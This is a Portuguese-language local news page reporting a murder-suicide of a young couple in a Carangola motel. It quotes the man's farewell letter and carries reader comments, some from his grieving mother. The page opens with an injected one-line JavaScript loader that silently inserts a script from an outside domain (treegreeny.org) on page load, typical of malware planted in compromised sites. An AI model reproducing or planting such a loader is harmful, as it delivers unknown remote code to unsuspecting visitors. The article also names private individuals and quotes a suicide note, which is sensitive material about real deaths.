;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Morte no motel ainda sem explicação. - Portal Carangola

www.portalcarangola.com

O primeiro portal de notícias de Carangola-MG e região.

Portal Carangola

O 1º site de notícias de Carangola e Região

Morte no motel ainda sem explicação.

Após o trabalho realizado pela perícia técnica e informações obtidas pela polícia civil na investigação das mortes ocorridas no Motel Delirius, em Carangola na tarde de segunda-feira (19), quando após serem ouvidos pedidos de socorro e tiros por um funcionário do motel e o vencimento do tempo de utilização do quarto do estabelecimento, foram encontrados os corpos do casal Edmon Halley Valim Celso Xavier, 25 anos e sua namorada Priscila Bevilaqua, 20 anos, ambos com tiros (Ela no ouvido e ele na cabeça).

No bolso de Edmom foi encontrado um frasco com chumbinho e duas folhas com relatos dos últimos dias do relacionamento de ambos, em que o rapaz diz: “desculpa, mas não consegui suportar saber que estava sendo traído. Cheguei no sábado ás 09h30 da manhã na casa da Marizilda e peguei a Priscilla no flagra…”. Ainda segundo o relato, após pegar a namorada com outro ele brigou com o homem que estava na companhia de Priscilla e se machucou, “sobre a traição, peguei os dois no sofá menor se beijando, cai na briga com ele e meu dedo indicador está machucado pelos socos que dei nele…”. Pelo início do texto ficou claro que Edmon surpreendeu à namorada e resolveu por fim na vida de ambos.

Ele pede desculpas a diversas pessoas e também a sua mãe pela atitude que iria tomar, pois cita na carta que brigou com toda a família para manter o relacionamento com Priscilla: “briguei com toda minha família por ela e também a defendi de todos que queriam o mal para ela”.

Edmon havia estudado e se dedicado para passar no concurso da Polícia Militar do Rio de Janeiro, com a intenção de melhorar a vida da mãe e principalmente da namorada: “… o que me fez ver que para podermos casar teria que procurar um bom emprego, e foi o que fiz. Fiz o concurso da Polícia e Deus me agraciou para que passasse e com isso poder dar uma vida melhor para ela…”. Ele iniciaria o curso em 2011.

No final da carta, Edmon mais uma vez pede perdão a sua mãe: “Mãe, mais uma vez peço que me perdoe. Só uma coisa te falo essas palavras não estão sendo influenciadas, mas estão saindo do fundo do meu coração,…Mãe reze por mim para que Deus me leve para um lugar melhor. Obrigado”.

Com o material encontrado e a carta fica claro os motivos que levaram a morte do casal. O caso está nas mãos da polícia Civil de Carangola.

Informações: Cláudio Cordeiro

Fonte:Click Carangola

Ofertas


4 thoughts on “Morte no motel ainda sem explicação.

  1. Sr. Winston,
    Quanto ao seu comentário não tenho nada a falar, o Sr. tem direito de pensar o q quiser, agora falar do meu filho só mesmo quem o conheceu, só sei q tinham pessoas querendo separa-los, somente Deus cabe julgar, só ele sabe de todas as coisas, mas está a sua disposição as cartas e inclusive um e-mail do irmão dela humilhando meu filho pelo salário q ele ia ganhar na policia, só não jogo este e-mail na internet devido o respeito que eu tenho a uma das tia e ao pai dela, quanto ao pai dela ele é um ser humano incrível, muito iluminado e abençoado por Deus, bom e integro, em momento nenhum que estive com ele falou mal do meu filho, ele já vinha com problema de saúde desde que meu filho o conheceu.

  2. Boa noite. Apesar de de ter passado algum tempo o ocorrido e ter um vaga informação a respeito do caso, hoje é que li o artigo aqui no portal. A discussão sobre o caso a respeito do conteúdo carta não informa outra coisa, senão a premeditação do ato-concluso. Tomado de fúria, revolta e/ou decepção amorosa são alguns dos argumentos que permeiam o caso.
    Fato é: pois o que me consta, a Jovem Priscila, vem tem origem numa família onde os pais sempre lhe deram toda atenção possível. Os pais, até hoje ainda sofrem duramente a trágica perda. O pai, encontra-se seriamente debilitado por conseqüência do fato. Graças a Deus, a mãe da moça, busca forças para cuidar de si e do esposo. Ambas as perdas doe nas famílias. Os detalhes da relação da moça com a própria família, só mesmo os familiares sabem, não compete a mim em desrespeito a eles citar.
    Comentários ficam cômodos para nós, uma vez que, não somos parte direta do problema, mas, um pouco de coerência ao analisar o caso é bem aceita. Só lamento que diante de tal atitude tenha tirado a vida da moça. Não deveria ter tirado nem a própria, mas, como entender a mente humana?! Pessoas tidas como especialistas tentam explicar para dar uma motivação aos fatos, mas nunca com íntegra e inteira convicção. Uma vez que, a mente humana é irreconhecível e os comportamentos são dos mais surpreendentes possível. Cada um, no seu estado de consciência, para si está correto. Enquanto que para outros não.
    Como foi referido, já que se tinha a intenção de citar parte da carta deixada, imagino que o autor pudesse reproduzi-la na íntegra. Pois, nos trechos apresentados não percebi pedido de desculpas do autor, à família da moça.
    Para ter vida melhor que já tinha, em relação a família, ela estava prestes a se mudar para Valadares, por motivos que só a família dela pode esclarecer.
    Em tese lamento por esses dois seres humanos que tiveram as vidas ceifada de maneira tão trágica. Pelas famílias que ficaram com a dor da perda. Em especial, a família da moça. Quem conhece a família e tem contato, sabe do que estou me referindo.
    Não posso esquecer que a família do rapaz também é merecedora de atenção e palavras de forças, pois, ninguém quer que casos semelhantes ocorra em seu seio familiar.
    As famílias, meus sinceros votos de que Deus continue lhes fortalecendo cada dia mais, para que possam está superando a cada novo dia. Pois, é sabido que, a cada instante, a cada olhar “perdido” no tempo nos remete as lembranças diversas. Mas, Deus é a fortaleza para continuar caminhando. Desculpas se algum comentário veio a contrariar algumas opiniões.
    Ficou a dúvida: Quem foi PIVÔ da situação que desencadeou tal desfecho???
    Tenho que concordar com manifestação da Sra. Silva Celso. Para chegar ao ponto que chegou, e se realmente houve a suposta traição, quem é o pivô? Porque não aparece? Existe ser sem origem?! Afinal, na natureza, no Universo tudo tem uma razão de existir e em cada cadeia de existência uma conseqüência.
    Se havia mais relatos na carta, deveria sim, ter sido reproduzida na íntegra, para não gerar resquícios de dúvidas.
    Quanto aos comentários, de uma certa forma, Francisco tem sua opinião que não foge um pouco da verdade. Pois, quem em seu juízo perfeito faz uma coisa assim?! Só mesmo uma pessoa transtornada… E transtorno psicológico é comum e com vários graus de gravidade. Não vejo razões para questionar o comentário do Cabral.
    Abraços a todos.

  3. Sr. Francisco Cabral, antes de julgar a insanidade do meu filho, deveria ler as cartas na integra, estas cartas foram escritas a mim, eu ñ pude ter acesso a ela mas as li, quem as lançou na internet deveria tê-las colocados na integra e ñ ter colocado apenas pela metade e o nome do policial da traição, da história vc. ñ sabe nem a metade, abraços.

  4. Caro João.

    Não concordo com a afirmativa proposta pelo responsável pela matéria.

    Um gesto de descontrole levou esse jovem a cometer essa tragédia que chocou a todos nós e em respeito a quem não pode se defender e foi vítima de uma insanidade eu peço que reveja as afirmativas. A carta deixada é apenas um papel escrito por alguém que não estava certamente em seu momento de equilíbrio. Papel aceita qualquer coisa.
    Respeitemos a ambos e principalmente a dor das famílias envolvidas.

    Ambos e os familiares são vítimas.

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.